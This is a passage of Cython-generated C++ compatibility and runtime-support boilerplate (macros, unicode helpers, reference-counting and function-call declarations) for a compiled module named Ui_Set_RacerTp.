Py_TPFLAGS_HAVE_NEWBUFFER #define Py_TPFLAGS_HAVE_NEWBUFFER 0 #endif #ifndef Py_TPFLAGS_HAVE_FINALIZE #define Py_TPFLAGS_HAVE_FINALIZE 0 #endif #ifndef METH_FASTCALL #define METH_FASTCALL 0x80 typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs, PyObject *kwnames); #else #define __Pyx_PyCFunctionFast _PyCFunctionFast #endif #if CYTHON_FAST_PYCCALL #define __Pyx_PyFastCFunction_Check(func)\ ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))))) #else #define __Pyx_PyFastCFunction_Check(func) 0 #endif #if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) #define CYTHON_PEP393_ENABLED 1 #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ 0 : _PyUnicode_Ready((PyObject *)(op))) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) #else #define CYTHON_PEP393_ENABLED 0 #define PyUnicode_1BYTE_KIND 1 #define PyUnicode_2BYTE_KIND 2 #define PyUnicode_4BYTE_KIND 4 #define __Pyx_PyUnicode_READY(op) (0) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111) #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) #endif #if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) #else #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) #define PyObject_Malloc(s) PyMem_Malloc(s) #define PyObject_Free(p) PyMem_Free(p) #define PyObject_Realloc(p) PyMem_Realloc(p) #endif #if CYTHON_COMPILING_IN_PYSTON #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno) #else #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) #endif #define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) #define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) #else #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) #endif #if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) #define PyObject_ASCII(o) PyObject_Repr(o) #endif #if PY_MAJOR_VERSION >= 3 #define PyBaseString_Type PyUnicode_Type #define PyStringObject PyUnicodeObject #define PyString_Type PyUnicode_Type #define PyString_Check PyUnicode_Check #define PyString_CheckExact PyUnicode_CheckExact #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) #else #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) #endif #ifndef PySet_CheckExact #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) #endif #define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) #define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) #if PY_MAJOR_VERSION >= 3 #define PyIntObject PyLongObject #define PyInt_Type PyLong_Type #define PyInt_Check(op) PyLong_Check(op) #define PyInt_CheckExact(op) PyLong_CheckExact(op) #define PyInt_FromString PyLong_FromString #define PyInt_FromUnicode PyLong_FromUnicode #define PyInt_FromLong PyLong_FromLong #define PyInt_FromSize_t PyLong_FromSize_t #define PyInt_FromSsize_t PyLong_FromSsize_t #define PyInt_AsLong PyLong_AsLong #define PyInt_AS_LONG PyLong_AS_LONG #define PyInt_AsSsize_t PyLong_AsSsize_t #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask #define PyNumber_Int PyNumber_Long #endif #if PY_MAJOR_VERSION >= 3 #define PyBoolObject PyLongObject #endif #if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY #ifndef PyUnicode_InternFromString #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) #endif #endif #if PY_VERSION_HEX < 0x030200A4 typedef long Py_hash_t; #define __Pyx_PyInt_FromHash_t PyInt_FromLong #define __Pyx_PyInt_AsHash_t PyInt_AsLong #else #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func)) #else #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass) #endif #if CYTHON_USE_ASYNC_SLOTS #if PY_VERSION_HEX >= 0x030500B1 #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) #else typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } __Pyx_PyAsyncMethodsStruct; #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) #endif #else #define __Pyx_PyType_AsAsync(obj) NULL #endif #ifndef CYTHON_RESTRICT #if defined(__GNUC__) #define CYTHON_RESTRICT __restrict__ #elif defined(_MSC_VER) && _MSC_VER >= 1400 #define CYTHON_RESTRICT __restrict #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_RESTRICT restrict #else #define CYTHON_RESTRICT #endif #endif #ifndef CYTHON_UNUSED # if defined(__GNUC__) # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif # elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif #endif #ifndef CYTHON_MAYBE_UNUSED_VAR # if defined(__cplusplus) template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { } # else # define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x) # endif #endif #ifndef CYTHON_NCP_UNUSED # if CYTHON_COMPILING_IN_CPYTHON # define CYTHON_NCP_UNUSED # else # define CYTHON_NCP_UNUSED CYTHON_UNUSED # endif #endif #define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) #ifndef __cplusplus #error "Cython files generated with the C++ option must be compiled with a C++ compiler." #endif #ifndef CYTHON_INLINE #if defined(__clang__) #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) #else #define CYTHON_INLINE inline #endif #endif template<typename T> void __Pyx_call_destructor(T& x) { x.~T(); } template<typename T> class __Pyx_FakeReference { public: __Pyx_FakeReference() : ptr(NULL) { } __Pyx_FakeReference(const T& ref) : ptr(const_cast<T*>(&ref)) { } T *operator->() { return ptr; } T *operator&() { return ptr; } operator T&() { return *ptr; } template<typename U> bool operator ==(U other) { return *ptr == other; } template<typename U> bool operator !=(U other) { return *ptr != other; } private: T *ptr; }; #if defined(WIN32) || defined(MS_WINDOWS) #define _USE_MATH_DEFINES #endif #include <math.h> #ifdef NAN #define __PYX_NAN() ((float) NAN) #else static CYTHON_INLINE float __PYX_NAN() { float value; memset(&value, 0xFF, sizeof(value)); return value; } #endif #if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) #define __Pyx_truncl trunc #else #define __Pyx_truncl truncl #endif #define __PYX_ERR(f_index, lineno, Ln_error) \ { \ __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \ } #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #else #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #endif #ifndef __PYX_EXTERN_C #ifdef __cplusplus #define __PYX_EXTERN_C extern "C" #else #define __PYX_EXTERN_C extern #endif #endif #define __PYX_HAVE__Ui_Set_RacerTp #define __PYX_HAVE_API__Ui_Set_RacerTp #ifdef _OPENMP #include <omp.h> #endif /* _OPENMP */ #ifdef PYREX_WITHOUT_ASSERTIONS #define CYTHON_WITHOUT_ASSERTIONS #endif typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; #define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 #define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0 #define __PYX_DEFAULT_STRING_ENCODING "" #define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString #define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #define __Pyx_uchar_cast(c) ((unsigned char)c) #define __Pyx_long_cast(x) ((long)x) #define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ (sizeof(type) < sizeof(Py_ssize_t)) ||\ (sizeof(type) > sizeof(Py_ssize_t) &&\ likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX) &&\ (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ v == (type)PY_SSIZE_T_MIN))) ||\ (sizeof(type) == sizeof(Py_ssize_t) &&\ (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX))) ) #if defined (__cplusplus) && __cplusplus >= 201103L #include <cstdlib> #define __Pyx_sst_abs(value) std::abs(value) #elif SIZEOF_INT >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) abs(value) #elif SIZEOF_LONG >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) labs(value) #elif defined (_MSC_VER) && defined (_M_X64) #define __Pyx_sst_abs(value) _abs64(value) #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define __Pyx_sst_abs(value) llabs(value) #elif defined (__GNUC__) #define __Pyx_sst_abs(value) __builtin_llabs(value) #else #define __Pyx_sst_abs(value) ((value<0) ? -value : value) #endif static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject*); static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); #define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s)) #define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) #define __Pyx_PyBytes_FromString PyBytes_FromString #define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); #if PY_MAJOR_VERSION < 3 #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #else #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize #endif #define __Pyx_PyObject_AsSString(s) ((signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) #define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) #define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) #define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) #define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) #if PY_MAJOR_VERSION < 3 static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) { const Py_UNICODE *u_end = u; while (*u_end++) ; return (size_t)(u_end - u - 1); } #else #define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen #endif #define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u)) #define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode #define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode #define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) #define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) #define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False)) static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); #if CYTHON_ASSUME_SAFE_MACROS #define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) #else #define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) #endif #define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) #else #define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) #endif #define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x)) #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII static int __Pyx_sys_getdefaultencoding_not_ascii; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; PyObject* ascii_chars_u = NULL; PyObject* ascii_chars_b = NULL; const char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; if (strcmp(default_encoding_c, "ascii") == 0) { __Pyx_sys_getdefaultencoding_not_ascii = 0; } else { char ascii_chars[128]; int c; for (c = 0; c < 128; c++) { ascii_chars[c] = c; } __Pyx_sys_getdefaultencoding_not_ascii = 1; ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); if (!ascii_chars_u) goto bad; ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { PyErr_Format( PyExc_ValueError, "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", default_encoding_c); goto bad; } Py_DECREF(ascii_chars_u); Py_DECREF(ascii_chars_b); } Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); Py_XDECREF(ascii_chars_u); Py_XDECREF(ascii_chars_b); return -1; } #endif #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) #else #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT static char* __PYX_DEFAULT_STRING_ENCODING; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c)); if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); return -1; } #endif #endif /* Test for GCC > 2.95 */ #if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) #else /* !__GNUC__ or GCC < 2.95 */ #define likely(x) (x) #define unlikely(x) (x) #endif /* __GNUC__ */ static PyObject *__pyx_m; static PyObject *__pyx_d; static PyObject *__pyx_b; static PyObject *__pyx_empty_tuple; static PyObject *__pyx_empty_bytes; static PyObject *__pyx_empty_unicode; static int __pyx_lineno; static int __pyx_clineno = 0; static const char * __pyx_cfilenm= __FILE__; static const char *__pyx_filename; static const char *__pyx_f[] = { "Ui_Set_RacerTp.py", }; /*--- Type declarations ---*/ /* --- Runtime support code (head) --- */ /* Refnanny.proto */ #ifndef CYTHON_REFNANNY #define CYTHON_REFNANNY 0 #endif #if CYTHON_REFNANNY typedef struct { void (*INCREF)(void*, PyObject*, int); void (*DECREF)(void*, PyObject*, int); void (*GOTREF)(void*, PyObject*, int); void (*GIVEREF)(void*, PyObject*, int); void* (*SetupContext)(const char*, int, const char*); void (*FinishContext)(void**); } __Pyx_RefNannyAPIStruct; static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; #ifdef WITH_THREAD #define __Pyx_RefNannySetupContext(name, acquire_gil)\ if (acquire_gil) {\ PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ PyGILState_Release(__pyx_gilstate_save);\ } else {\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ } #else #define __Pyx_RefNannySetupContext(name, acquire_gil)\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) #endif #define __Pyx_RefNannyFinishContext()\ __Pyx_RefNanny->FinishContext(&__pyx_refnanny) #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) #else #define __Pyx_RefNannyDeclarations #define __Pyx_RefNannySetupContext(name, acquire_gil) #define __Pyx_RefNannyFinishContext() #define __Pyx_INCREF(r) Py_INCREF(r) #define __Pyx_DECREF(r) Py_DECREF(r) #define __Pyx_GOTREF(r) #define __Pyx_GIVEREF(r) #define __Pyx_XINCREF(r) Py_XINCREF(r) #define __Pyx_XDECREF(r) Py_XDECREF(r) #define __Pyx_XGOTREF(r) #define __Pyx_XGIVEREF(r) #endif #define __Pyx_XDECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_XDECREF(tmp);\ } while (0) #define __Pyx_DECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_DECREF(tmp);\ } while (0) #define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) #define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) /* PyObjectGetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_getattro)) return tp->tp_getattro(obj, attr_name); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_getattr)) return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); #endif return PyObject_GetAttr(obj, attr_name); } #else #define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) #endif /* GetBuiltinName.proto */ static PyObject *__Pyx_GetBuiltinName(PyObject *name); /* RaiseArgTupleInvalid.proto */ static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); /* RaiseDoubleKeywords.proto */ static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); /* ParseKeywords.proto */ static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\ PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\ const char* function_name); /* PyObjectCall.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); #else #define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) #endif /* GetModuleGlobalName.proto */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name); /* PyCFunctionFastCall.proto */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs); #else #define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL) #endif /* PyFunctionFastCall.proto */ #if CYTHON_FAST_PYCALL #define __Pyx_PyFunction_FastCall(func, args, nargs)\ __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs); #else #define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs) #endif #endif /* PyObjectCallMethO.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); #endif /* PyObjectCallOneArg.proto */ static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); /* PyObjectSetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS #define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o,n,NULL) static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_setattro)) return tp->tp_setattro(obj, attr_name, value); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_setattr)) return tp->tp_setattr(obj, PyString_AS_STRING(attr_name), value); #endif return PyObject_SetAttr(obj, attr_name, value); } #else #define __Pyx_PyObject_DelAttrStr(o,n) PyObject_DelAttr(o,n) #define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v) #endif /* PyObjectCallNoArg.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); #else #define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL) #endif /* Import.proto */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); /* ImportFrom.proto */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); /* CalculateMetaclass.proto */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); /* FetchCommonType.proto */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); /* CythonFunction.proto */ #define __Pyx_CyFunction_USED 1 #include <structmember.h> #define __Pyx_CYFUNCTION_STATICMETHOD 0x01 #define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 #define __Pyx_CYFUNCTION_CCLASS 0x04 #define __Pyx_CyFunction_GetClosure(f)\ (((__pyx_CyFunctionObject *) (f))->func_closure) #define __Pyx_CyFunction_GetClassObj(f)\ (((__pyx_CyFunctionObject *) (f))->func_classobj) #define __Pyx_CyFunction_Defaults(type, f)\ ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) #define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) typedef struct { PyCFunctionObject func; #if PY_VERSION_HEX < 0x030500A0 PyObject *func_weakreflist; #endif PyObject *func_dict; PyObject *func_name; PyObject *func_qualname; PyObject *func_doc; PyObject *func_globals; PyObject *func_code; PyObject *func_closure; PyObject *func_classobj; void *defaults; int defaults_pyobjects; int flags; PyObject *defaults_tuple; PyObject *defaults_kwdict; PyObject *(*defaults_getter)(PyObject *); PyObject *func_annotations; } __pyx_CyFunctionObject; static PyTypeObject *__pyx_CyFunctionType = 0; #define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\ __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code) static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *self, PyObject *module, PyObject *globals, PyObject* code); static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, size_t size, int pyobjects); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, PyObject *tuple); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, PyObject *dict); static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, PyObject *dict); static int __pyx_CyFunction_init(void); /* Py3ClassCreate.proto */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc); static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); /* CodeObjectCache.proto */ typedef struct { PyCodeObject* code_object; int code_line; } __Pyx_CodeObjectCacheEntry; struct __Pyx_CodeObjectCache { int count; int max_count; 